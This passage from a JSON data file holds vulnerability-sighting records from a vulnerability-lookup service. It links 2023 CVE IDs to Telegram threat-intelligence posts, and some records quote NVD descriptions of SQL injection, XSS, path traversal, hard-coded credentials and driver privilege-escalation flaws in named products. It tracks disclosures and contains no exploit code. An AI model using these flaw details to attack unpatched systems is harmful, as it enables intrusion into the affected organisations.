"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31030", "type": "seen", "source": "https://t.me/ctinow/167490", "content": "https://ift.tt/suWKO5X\nCVE-2023-31030", "creation_timestamp": "2024-01-12T20:41:45.000000Z"}, {"uuid": "e8b1ab0b-dd9d-40e5-81ff-2180c0d77c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31036", "type": "seen", "source": "https://t.me/ctinow/167437", "content": "https://ift.tt/j9gUNFr\nCVE-2023-31036", "creation_timestamp": "2024-01-12T18:52:06.000000Z"}, {"uuid": "aaad532c-b0de-4924-9674-a9dfb504b300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31211", "type": "seen", "source": "https://t.me/ctinow/167147", "content": "https://ift.tt/nBA3DVk\nCVE-2023-31211", "creation_timestamp": "2024-01-12T09:26:39.000000Z"}, {"uuid": "c8496e8d-c21f-44d8-8916-858f72b32ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "seen", "source": "https://t.me/ctinow/164237", "content": "https://ift.tt/tSKY2Iu\nCVE-2023-31446 Exploit", "creation_timestamp": "2024-01-08T09:16:40.000000Z"}, {"uuid": "8a19b385-2f91-4833-ba58-4eb3c721488d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3171", "type": "seen", "source": "https://t.me/ctinow/159706", "content": "https://ift.tt/4FBY3gb\nCVE-2023-3171", "creation_timestamp": "2023-12-27T17:27:08.000000Z"}, {"uuid": "b36b091d-3873-494c-bfc5-ecc2b2e70620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "seen", "source": "https://t.me/ctinow/166134", "content": "https://ift.tt/ErCxFni\nCVE-2023-31488", "creation_timestamp": "2024-01-10T21:22:13.000000Z"}, {"uuid": "a1dea1ff-1d1f-49df-9eab-dc3e61b564d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31210", "type": "seen", "source": "https://t.me/ctinow/165590", "content": "https://ift.tt/2PFDua7\nCVE-2023-31210 | Checkmk up to 2.2.0p152.2.0p16 Agent LD_LIBRARY_PATH uncontrolled search path", "creation_timestamp": "2024-01-10T08:06:53.000000Z"}, {"uuid": "5b099f81-4730-4af9-a067-5c391a76ab5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31095", "type": "seen", "source": "https://t.me/ctinow/160425", "content": "https://ift.tt/scxgEfr\nCVE-2023-31095", "creation_timestamp": "2023-12-29T11:26:20.000000Z"}, {"uuid": "f59fbefa-4cc1-4d94-9658-da21209ab3a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31068", "type": "seen", "source": "https://t.me/cibsecurity/70216", "content": "\u203c CVE-2023-31068 \u203c\n\nAn issue was discovered in TSplus Remote Access through 16.0.2.14. There are Full Control permissions for Everyone on some directories under %PROGRAMFILES(X86)%\\TSplus\\UserDesktop\\themes.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-11T22:27:39.000000Z"}, {"uuid": "79c8e702-bd64-4947-a0a8-f9ee0d91bb8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31067", "type": "seen", "source": "https://t.me/cibsecurity/70215", "content": "\u203c CVE-2023-31067 \u203c\n\nAn issue was discovered in TSplus Remote Access through 16.0.2.14. There are Full Control permissions for Everyone on some directories under %PROGRAMFILES(X86)%\\TSplus\\Clients\\www.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-11T22:27:38.000000Z"}, {"uuid": "ffe7215f-2b20-41cc-a741-a1e8094a17a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31237", "type": "seen", "source": "https://t.me/ctinow/160427", "content": "https://ift.tt/r7pvfAl\nCVE-2023-31237", "creation_timestamp": "2023-12-29T11:26:23.000000Z"}, {"uuid": "c086afe3-6a6d-4a27-bdd5-825ea207690c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31229", "type": "seen", "source": "https://t.me/ctinow/160426", "content": "https://ift.tt/4Su8s9c\nCVE-2023-31229", "creation_timestamp": "2023-12-29T11:26:21.000000Z"}, {"uuid": "9eb7e7d8-53c1-4efe-93b1-a49751fdaedc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31468", "type": "seen", "source": "https://t.me/cibsecurity/70223", "content": "\u203c CVE-2023-31468 \u203c\n\nAn issue was discovered in Inosoft VisiWin 7 through 2022-2.1 (Runtime RT7.3 RC3 20221209.5). The \"%PROGRAMFILES(X86)%\\INOSOFT GmbH\" folder has weak permissions for Everyone, allowing an attacker to insert a Trojan horse file that runs as SYSTEM.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-11T22:27:46.000000Z"}, {"uuid": "29c6c29b-ec56-4f58-bdf9-74fe67d18b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31069", "type": "seen", "source": "https://t.me/cibsecurity/70220", "content": "\u203c CVE-2023-31069 \u203c\n\nAn issue was discovered in TSplus Remote Access through 16.0.2.14. Credentials are stored as cleartext within the HTML source code of the login page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-11T22:27:43.000000Z"}, {"uuid": "a930c0c6-358f-4385-b524-0143ecc34b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31294", "type": "seen", "source": "https://t.me/ctinow/160315", "content": "https://ift.tt/b6jMJAG\nCVE-2023-31294", "creation_timestamp": "2023-12-29T04:26:33.000000Z"}, {"uuid": "c3a36f5d-cce4-4f09-8a35-9e15e60f308a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31293", "type": "seen", "source": "https://t.me/ctinow/160314", "content": "https://ift.tt/iOteGjr\nCVE-2023-31293", "creation_timestamp": "2023-12-29T04:26:32.000000Z"}, {"uuid": "67c8e00d-37d8-43e1-a3a7-faa226f10457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31295", "type": "seen", "source": "https://t.me/ctinow/160356", "content": "https://ift.tt/syd1rhZ\nCVE-2023-31295", "creation_timestamp": "2023-12-29T07:26:43.000000Z"}, {"uuid": "1fa2e1e7-1f97-4cdd-a87c-e5e5ed897868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31299", "type": "seen", "source": "https://t.me/ctinow/160349", "content": "https://ift.tt/UCZ5Fy3\nCVE-2023-31299", "creation_timestamp": "2023-12-29T06:26:39.000000Z"}, {"uuid": "7e156f27-249b-464e-a471-645ba920a7a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31302", "type": "seen", "source": "https://t.me/ctinow/160358", "content": "https://ift.tt/jwuvsgQ\nCVE-2023-31302", "creation_timestamp": "2023-12-29T07:26:45.000000Z"}, {"uuid": "dd4ff24a-bcef-4b11-9427-1d70499da132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31297", "type": "seen", "source": "https://t.me/ctinow/159158", "content": "https://ift.tt/Kk3Eu6o\nCVE-2023-31297", "creation_timestamp": "2023-12-25T08:26:21.000000Z"}, {"uuid": "a6924497-6c7c-4a85-b88d-5a826703e316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31455", "type": "seen", "source": "https://t.me/ctinow/159148", "content": "https://ift.tt/0Nu9pQ8\nCVE-2023-31455", "creation_timestamp": "2023-12-25T07:26:58.000000Z"}, {"uuid": "912754f8-7084-4f2c-bad7-733f87ecac70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31289", "type": "seen", "source": "https://t.me/ctinow/159147", "content": "https://ift.tt/SN6qdPZ\nCVE-2023-31289", "creation_timestamp": "2023-12-25T07:26:57.000000Z"}, {"uuid": "2d0d5e97-e7df-45ac-b89e-ebba47fab166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31224", "type": "seen", "source": "https://t.me/ctinow/159170", "content": "https://ift.tt/2Nb4Tmp\nCVE-2023-31224", "creation_timestamp": "2023-12-25T09:31:16.000000Z"}, {"uuid": "d85d09a1-4aaf-4183-9b06-6cba19983b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31176", "type": "seen", "source": "https://t.me/ctinow/157573", "content": "https://ift.tt/jnhRq6b\nCVE-2023-31176 | Schweitzer Engineering Laboratories SEL-451 20230830 entropy", "creation_timestamp": "2023-12-21T10:12:48.000000Z"}, {"uuid": "5669ec00-48f5-4e75-a886-d04554cbac50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31177", "type": "seen", "source": "https://t.me/ctinow/157583", "content": "https://ift.tt/hHadq2L\nCVE-2023-31177 | Schweitzer Engineering Laboratories SEL-451 20230830 cross site scripting", "creation_timestamp": "2023-12-21T10:37:51.000000Z"}, {"uuid": "7a2020bb-9c24-4eb0-9e43-d1774db248ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31231", "type": "seen", "source": "https://t.me/ctinow/157280", "content": "https://ift.tt/Sp9vZrU\nCVE-2023-31231", "creation_timestamp": "2023-12-20T20:29:15.000000Z"}, {"uuid": "e19aae1f-027c-486a-b31a-500044ed2f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31215", "type": "seen", "source": "https://t.me/ctinow/157279", "content": "https://ift.tt/zUejL8W\nCVE-2023-31215", "creation_timestamp": "2023-12-20T20:29:14.000000Z"}, {"uuid": "c7811351-9904-49fa-90b1-2fed90ae41d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://t.me/cibsecurity/72004", "content": "\u203c CVE-2023-31096 \u203c\n\nAn issue was discovered in Broadcom) LSI PCI-SV92EX Soft Modem Kernel Driver through 2.2.100.1 (aka AGRSM64.sys). There is Local Privilege Escalation to SYSTEM via a Stack Overflow in RTLCopyMemory (IOCTL 0x1b2150). An attacker can exploit this to elevate privileges from a medium-integrity process to SYSTEM. This can also be used to bypass kernel-level protections such as AV or PPL, because exploit code runs with high-integrity privileges and can be used in coordinated BYOVD (bring your own vulnerable driver) ransomware campaigns.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-10T22:17:05.000000Z"}, {"uuid": "25fe91e0-aafa-44d1-8fa9-cee11aa14d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31220", "type": "seen", "source": "https://t.me/cibsecurity/69759", "content": "\u203c CVE-2023-31220 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in WP-EXPERTS.IN TEAM WP Categories Widget plugin <=\u00c2\u00a02.2 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T14:16:12.000000Z"}, {"uuid": "2a9bd55f-3382-49db-b880-81c9924de95c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31412", "type": "seen", "source": "https://t.me/cibsecurity/69146", "content": "\u203c CVE-2023-31412 \u203c\n\nThe LMS5xx uses weak hash generation methods, resulting in the creation of insecure hashs. If an attacker manages to retrieve the hash, it could lead to collision attacks and the potential retrieval of the password.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-24T22:13:44.000000Z"}, {"uuid": "eb0a201b-6f37-4fbc-b013-48bd7e54183c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31171", "type": "seen", "source": "https://t.me/cibsecurity/69559", "content": "\u203c CVE-2023-31171 \u203c\n\nAn Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in the Schweitzer Engineering Laboratories SEL-5030 acSELerator QuickSet Software could allow an attacker to embed instructions that could be executed by an authorized device operator.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5030 acSELerator QuickSet Software: through 7.1.3.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:11.000000Z"}, {"uuid": "e9b541e5-7a5f-46c7-8b4d-610ac8004360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31173", "type": "seen", "source": "https://t.me/cibsecurity/69569", "content": "\u203c CVE-2023-31173 \u203c\n\nUse of Hard-coded Credentials vulnerability in Schweitzer Engineering Laboratories SEL-5037 SEL Grid Configurator on Windows allows Authentication Bypass.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5037 SEL Grid Configurator: before 4.5.0.20.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:26.000000Z"}, {"uuid": "ae4da3cb-b24a-45a5-8b35-e5c4f4845d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31169", "type": "seen", "source": "https://t.me/cibsecurity/69568", "content": "\u203c CVE-2023-31169 \u203c\n\nAn Improper Handling of Unicode Encoding vulnerability in the Schweitzer Engineering Laboratories SEL-5030 acSELerator QuickSet Software could allow an attacker to embed instructions that could be executed by an authorized device operator.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5030 acSELerator QuickSet Software: through 7.1.3.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:22.000000Z"}, {"uuid": "e9d02a72-fc33-4fba-a94b-62df6479164a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31174", "type": "seen", "source": "https://t.me/cibsecurity/69567", "content": "\u203c CVE-2023-31174 \u203c\n\nA Cross-Site Request Forgery (CSRF) vulnerability in the Schweitzer Engineering Laboratories SEL-5037 SEL Grid Configurator could allow an attacker to embed instructions that could be executed by an authorized device operator.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5037 SEL Grid Configurator: before 4.5.0.20.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:21.000000Z"}, {"uuid": "28e2475b-261b-4389-915f-5cca8ba0158d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31172", "type": "seen", "source": "https://t.me/cibsecurity/69565", "content": "\u203c CVE-2023-31172 \u203c\n\nAn Incomplete Filtering of Special Elements vulnerability in the Schweitzer Engineering Laboratories SEL-5030 acSELerator QuickSet Software could allow an attacker to embed instructions that could be executed by an authorized device operator.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5030 acSELerator QuickSet Software: through 7.1.3.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:19.000000Z"}, {"uuid": "f57697fa-3d5f-4493-b212-7add471f7bae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31168", "type": "seen", "source": "https://t.me/cibsecurity/69574", "content": "\u203c CVE-2023-31168 \u203c\n\nAn Inclusion of Functionality from Untrusted Control Sphere vulnerability in the Schweitzer Engineering Laboratories SEL-5030 acSELerator QuickSet Software could allow an attacker to embed instructions that could be executed by an authorized device operator.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5030 acSELerator QuickSet Software: through 7.1.3.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:33.000000Z"}, {"uuid": "c4f9e97b-4ca6-49b4-8d0b-0a487185e88b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31925", "type": "seen", "source": "https://t.me/cibsecurity/69503", "content": "\u203c CVE-2023-31925 \u203c\n\nBrocade SANnav before v2.3.0 and v2.2.2a stores SNMPv3 Authentication passwords in plaintext. A privileged user could retrieve these credentials with knowledge and access to these log files. SNMP credentials could be seen in SANnav SupportSave if the capture is performed after an SNMP configuration failure causes an SNMP communication log dump.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T07:12:42.000000Z"}, {"uuid": "9955db42-baec-47dc-949e-7b7b217c9d17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31175", "type": "seen", "source": "https://t.me/cibsecurity/69575", "content": "\u203c CVE-2023-31175 \u203c\n\nAn Execution with Unnecessary Privileges vulnerability in the Schweitzer Engineering Laboratories SEL-5037 SEL Grid Configurator could allow an attacker to run system commands with the highest level privilege on the system.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5037 SEL Grid Configurator: before 4.5.0.20.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:34.000000Z"}, {"uuid": "79193e34-2ec4-4d1e-b64a-3979ee8eff4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31167", "type": "seen", "source": "https://t.me/cibsecurity/69564", "content": "\u203c CVE-2023-31167 \u203c\n\nImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Schweitzer Engineering Laboratories SEL-5036 acSELerator Bay Screen Builder Software on Windows allows Relative Path Traversal.SEL acSELerator Bay Screen Builder software is distributed by SEL-5033 SEL acSELerator RTAC, SEL-5030 Quickset, and SEL Compass. CVE-2023-31167 and was patched in the acSELerator Bay Screen Builder release available on 20230602. Please contact SEL for additional details.This issue affects SEL-5036 acSELerator Bay Screen Builder Software: before 1.0.49152.778.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:18.000000Z"}, {"uuid": "11383201-853e-4e6b-9907-ff8b5d25b660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31170", "type": "seen", "source": "https://t.me/cibsecurity/69562", "content": "\u203c CVE-2023-31170 \u203c\n\nAn Inclusion of Functionality from Untrusted Control Sphere vulnerability in the Schweitzer Engineering Laboratories SEL-5030 acSELerator QuickSet Software could allow an attacker to embed instructions that could be executed by an authorized device operator.See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.This issue affects SEL-5030 acSELerator QuickSet Software: through 7.1.3.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T20:13:13.000000Z"}, {"uuid": "f0c98de2-91a0-4bde-8a7f-810383f22190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3162", "type": "seen", "source": "https://t.me/cibsecurity/69532", "content": "\u203c CVE-2023-3162 \u203c\n\nThe Stripe Payment Plugin for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.7.7. This is due to insufficient verification on the user being supplied during a Stripe checkout through the plugin. This allows unauthenticated attackers to log in as users who have orders, who are typically customers.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T12:13:11.000000Z"}, {"uuid": "3953ec32-241f-4ffe-a217-5bf670f3ce91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31423", "type": "seen", "source": "https://t.me/cibsecurity/69509", "content": "\u203c CVE-2023-31423 \u203c\n\nPossible information exposure through log file vulnerability where sensitive fields are recorded in the configuration log without masking on Brocade SANnav before v2.3.0 and 2.2.2a. Notes: To access the logs, the local attacker must have access to an already collected Brocade SANnav \"supportsave\" outputs.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T07:12:52.000000Z"}, {"uuid": "9a52d635-3f11-4f6a-81b1-30b083a609cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3136", "type": "seen", "source": "https://t.me/cibsecurity/69410", "content": "\u203c CVE-2023-3136 \u203c\n\nThe MailArchiver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an email subject in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-30T12:17:06.000000Z"}, {"uuid": "ebaadc1b-1558-4400-9e7c-8d66ac73206c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31716", "type": "seen", "source": "https://t.me/cibsecurity/70939", "content": "\u203c CVE-2023-31716 \u203c\n\nFUXA <= 1.1.12 has a Local File Inclusion vulnerability via file=fuxa.log\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-22T09:02:25.000000Z"}, {"uuid": "daf58c52-8a96-4469-bc14-9c7fb61dbfac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31718", "type": "seen", "source": "https://t.me/cibsecurity/70937", "content": "\u203c CVE-2023-31718 \u203c\n\nFUXA <= 1.1.12 is vulnerable to Local via Inclusion via /api/download.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-22T09:02:23.000000Z"}, {"uuid": "faf29cc0-ad36-4911-a623-f813a5210eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31717", "type": "seen", "source": "https://t.me/cibsecurity/70934", "content": "\u203c CVE-2023-31717 \u203c\n\nA SQL Injection attack in FUXA <= 1.1.12 allows exfiltration of confidential information from the database.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-22T09:02:19.000000Z"}, {"uuid": "54b1ffe6-3856-45c2-92e1-bd46533f192b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31719", "type": "seen", "source": "https://t.me/cibsecurity/70933", "content": "\u203c CVE-2023-31719 \u203c\n\nFUXA <= 1.1.12 is vulnerable to SQL Injection via /api/signin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-22T09:02:18.000000Z"}, {"uuid": "8b536ae6-9507-4eb5-88b9-53e058c54375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3102", "type": "seen", "source": "https://t.me/cibsecurity/67105", "content": "\u203c CVE-2023-3102 \u203c\n\nA sensitive information leak issue has been discovered in GitLab EE affecting all versions starting from 16.0 before 16.0.6, all versions starting from 16.1 before 16.1.1, which allows access to titles of private issue and MR.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-21T20:23:40.000000Z"}, {"uuid": "c471d64f-9f28-4ecb-b02b-5ed6f9db5433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31753", "type": "seen", "source": "https://t.me/cibsecurity/67060", "content": "\u203c CVE-2023-31753 \u203c\n\nSQL injection vulnerability in diskusi.php in eNdonesia 8.7, allows an attacker to execute arbitrary SQL commands via the \"rid=\" parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-21T00:42:47.000000Z"}, {"uuid": "6914e000-915a-4771-87a7-952a6716ada4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31998", "type": "seen", "source": "https://t.me/cibsecurity/66883", "content": "\u203c CVE-2023-31998 \u203c\n\nA heap overflow vulnerability found in EdgeRouters and Aircubes allows a malicious actor to interrupt UPnP service to said devices.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-18T07:26:00.000000Z"}, {"uuid": "7c33c2ba-6563-4e15-a79f-f73383cb79c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31441", "type": "seen", "source": "https://t.me/cibsecurity/66923", "content": "\u203c CVE-2023-31441 \u203c\n\nIn NATO Communications and Information Agency anet (aka Advisor Network) through 3.3.0, an attacker can provide a crafted JSON file to sanitizeJson and cause an exception. This is related to the U+FFFD Unicode replacement character. A for loop does not consider that a data structure is being modified during loop execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-18T18:33:02.000000Z"}, {"uuid": "b78f16aa-738e-4c77-a502-c60c8eaeff0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31216", "type": "seen", "source": "https://t.me/cibsecurity/66825", "content": "\u203c CVE-2023-31216 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Ultimate Member plugin <=\u00c2\u00a02.6.0 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": 